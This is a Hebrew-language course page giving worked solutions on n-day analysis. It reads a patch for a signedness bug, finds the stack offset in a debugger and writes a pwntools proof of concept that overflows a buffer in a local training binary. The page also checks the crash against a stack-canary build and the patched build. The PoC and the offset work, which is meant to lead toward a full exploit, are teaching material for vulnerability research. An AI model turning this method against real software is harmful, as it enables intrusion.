לדלג לתוכן

10.4 ניתוח CVE ו n day פתרון

פתרון - ניתוח CVE ו-n-day

כאן נפתור את שלושת התרגילים עד הסוף: נקרא את הטלאי, נשחזר את שורש הבעיה, נבנה את הגרסה הvulnerable ונכתוב PoC שמקריס אותה. אם עוד לא ניסיתם לבד מהטלאי, חזרו לקובץ התרגול, כי כל הכיף כאן הוא לגלות את הבאג לבד.


פתרון תרגיל 1 - לזהות את הבאג מהטלאי

נקרא את ה-diff שוב, בעיניים של תוקף:

-    if (len > MAX_VALUE) {
+    if (len < 0 || len > MAX_VALUE) {
         puts("value too long");
         return;
     }

מה הגרסה הישנה פספסה: הבדיקה len > MAX_VALUE חוסמת רק ערכים גדולים מדי. היא לא בודקת כלל ערכים שליליים. הטלאי מוסיף בדיוק את החלק החסר, len < 0.

עכשיו נחבר את הנקודות:

  1. המשתנה len הוא int עם סימן, ונקרא ישירות מ-4 בתים שהתוקף שולט בהם. הטווח שלו הוא בערך -2147483648 עד 2147483647, כולל שלמים שליליים.
  2. הארגומנט השלישי של read, לפי החתימה ssize_t read(int fd, void *buf, size_t count), הוא size_t - טיפוס חסר סימן ברוחב 64 ביט.
  3. כשמעבירים len שלילי ל-read, הוא עובר המרה ל-size_t. הערך -1 הופך ל-0xFFFFFFFFFFFFFFFF, כלומר read מתבקשת לקרוא כמות עצומה של בתים לתוך buffer בגודל 256.
len = -1  (int, signed)
                |
                v  המרה אל size_t (הארגומנט של read)
0xFFFFFFFFFFFFFFFF   <-- "תקרא עד ~18 אקסה-בתים" לתוך value[256]

הפרימיטיב: read תכתוב לתוך value כמה בתים שהתוקף ישלח, הרבה מעבר ל-256, ותדרוס את ה-rbp השמור ואת כתובת החזרה. זו כתיבה מחוץ לגבולות על המחסנית, בדיוק CWE-787 Out-of-bounds Write כמו שה-advisory הבטיח. זהו באג סימן - signedness bug, אחת ממשפחות ה-CVE הנפוצות ביותר.

למה זה עבד: הטלאי סיפר לנו הכל. שינוי מ-len > MAX ל-len < 0 || len > MAX הוא חתימה קלאסית של באג סימן: מישהו שכח שהטיפוס עם סימן, וערך שלילי חמק מבדיקת הגבול העליון והפך למספר ענק אחרי המרה לטיפוס חסר סימן.


פתרון תרגיל 2 - לבנות ולהריץ את הגרסה הvulnerable

מהדרים ובודקים הגנות:

$ gcc -fno-stack-protector -no-pie -g -o store store.c
$ checksec --file=./store
RELRO           STACK CANARY      NX            PIE
Partial RELRO   No canary found   NX enabled    No PIE

בלי canary, אין מי שיתפוס את הoverflow. עכשיו מפרקים את set_value כדי למצוא את הbuffer:

pwndbg> disassemble set_value
   ...
   0x00000000004011d1 <+8>:     sub    rsp,0x110
   ...
   0x00000000004011f6 <+45>:    lea    rax,[rbp-0x110]
   0x00000000004011fd <+52>:    mov    edx,DWORD PTR [rbp-0x4]   ; len
   0x0000000000401200 <+55>:    mov    rsi,rax                   ; value
   0x0000000000401203 <+58>:    mov    edi,0x0
   0x0000000000401208 <+63>:    call   0x401070 <read@plt>
   ...

ההוראה lea rax, [rbp-0x110] שלפני call read מגלה שהbuffer value יושב ב-rbp-0x110. החישוב לreturn address:

value ב-          rbp - 0x110     -> 0x110 = 272 בתים עד ה-rbp השמור
ה-rbp השמור ב-    rbp             -> עוד 8 בתים
כתובת החזרה ב-    rbp + 8

offset מ-value ועד כתובת החזרה = 0x110 + 8 = 272 + 8 = 280 בתים

שימו לב שהקומפיילר הקצה 0x110 = 272 בתים ולא בדיוק 256, בגלל padding alignment. בשביל PoC שרק צריך לקרוס זה לא משנה, כי אנחנו שולחים ממילא הרבה יותר. המספר הזה יהיה חשוב רק כשנרצה לדרוס את הreturn address במדויק בשלב הexploit.

למה זה עבד: קראנו את מבנה המסגרת ישירות מהדיסאסמבלי במקום לנחש. ההוראה שמכינה את מצביע היעד ל-read (כאן lea rax, [rbp-0x110]) תמיד מגלה איפה הbuffer יושב.


פתרון תרגיל 3 - לכתוב PoC שמקריס

השאלה המרכזית: איזה אורך לשלוח? מספר גדול חיובי כמו 999999 ייחסם ב-len > MAX_VALUE. אבל מספר שלילי, למשל -1, עובר בשלום (-1 > 256 הוא שקר), ואז הופך למספר עצום ב-read. אז שולחים -1 בתור שדה האורך, ואחריו הרבה בתים.

שדה האורך הוא 4 בתים בינאריים little-endian, אז -1 הוא p32(0xffffffff) (שווה ערך ל-p32(-1) ב-pwntools). ה-PoC המלא:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./store')
p = process('./store')

p.recvuntil(b'SET')

payload  = p32(0xffffffff)     # len = -1 : passes len > MAX_VALUE, becomes a huge size_t
payload += b'A' * 400          # 400 bytes into a buffer of 256 -> overflow past the return address

p.send(payload)
print(p.recvall(timeout=2))

הרצה:

$ python3 poc.py
[*] '.../store'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './store': pid 24713
[*] Process './store' stopped with exit code -11 (SIGSEGV)
b'stored -1 bytes\n'

הקוד exit code -11 הוא SIGSEGV. שימו לב גם לפלט stored -1 bytes: זה printf("stored %d bytes\n", len) שמדפיס את len כ-%d, כלומר -1, ומאשר לנו שהגענו למסלול הvulnerable עם ערך שלילי. הקריסה קורית כשהפונקציה מבצעת ret אל כתובת מלאה ב-0x41 (התו A).

הסכימה שנוצרת על המחסנית של set_value:

High addresses
+------------------------------+
| return address                |  <-- overwritten with 'AAAA...'  -> SIGSEGV at ret
+------------------------------+
| saved rbp                     |  <-- overwritten
+------------------------------+
| char value[256] (+ padding)  |  <-- read writes 400 bytes here
+------------------------------+
Low addresses

עכשיו נבדוק את התנהגות ה-canary. מהדרים מחדש בלי -fno-stack-protector:

$ gcc -no-pie -g -o store_canary store.c
$ python3 poc.py         # לאחר שינוי הנתיב ל-store_canary
...
*** stack smashing detected ***: terminated
[*] Process stopped with exit code -6 (SIGABRT)

הפעם הקריסה היא SIGABRT עם stack smashing detected, כי ה-canary זיהה את הדריסה לפני ה-ret. שתי הצורות הן קריסה תקפה שמוכיחה את הבאג. ההבדל היחיד הוא שעם canary, כדי להגיע לexploit מלא נצטרך קודם לדלוף את הcanary.

למה זה עבד: ניצלנו את באג הסימן. הערך -1 מחליק מתחת לבדיקת הגבול העליון והופך ל-size_t ענק, מה שהופך את read לoverflow בלתי מוגבלת. איך להכליל: בכל פעם שאתם רואים בטלאי מעבר מ-x > MAX ל-x < 0 || x > MAX, או החלפת int ל-unsigned/size_t, חשדו מיד בבאג סימן. הבדיקה כמעט תמיד תהיה לפני memcpy, read, malloc או אינדוקס למערך, ושם יושב הפרימיטיב.


פתרון הבונוס - למה הטלאי מספיק

מהדרים את הגרסה המתוקנת (עם if (len < 0 || len > MAX_VALUE)) ומריצים מולה את אותו PoC:

$ python3 poc.py         # מול הבינארי המתוקן
[+] Starting local process './store_fixed': pid 24990
[*] Process './store_fixed' stopped with exit code 0
b'value too long\n'

הפעם התוכנית מדפיסה value too long ויוצאת בשלום, בלי overflow. הסיבה: הקלט שלנו, len = -1, נופל עכשיו בתנאי len < 0, נחסם, ו-read(0, value, len) מעולם לא רץ.

וכפי שראינו, מספר גדול חיובי לא היה עוזר לתוקף גם בגרסה הישנה, כי len > MAX_VALUE תפס אותו מלכתחילה. לכן הדרך היחידה פנימה הייתה דרך המספרים השליליים, וזה בדיוק מה שהטלאי סגר בשורה אחת. כשה-PoC מפסיק לעבוד על הגרסה המתוקנת ומסיבה שאנחנו יכולים להסביר במדויק, זה האישור שהבנו את שורש הבעיה נכון. זה בדיוק תהליך העבודה של חוקר n-day: קוראים טלאי, משחזרים באג, מוכיחים אותו על הגרסה הvulnerable, ומאמתים שהוא נעלם על המתוקנת.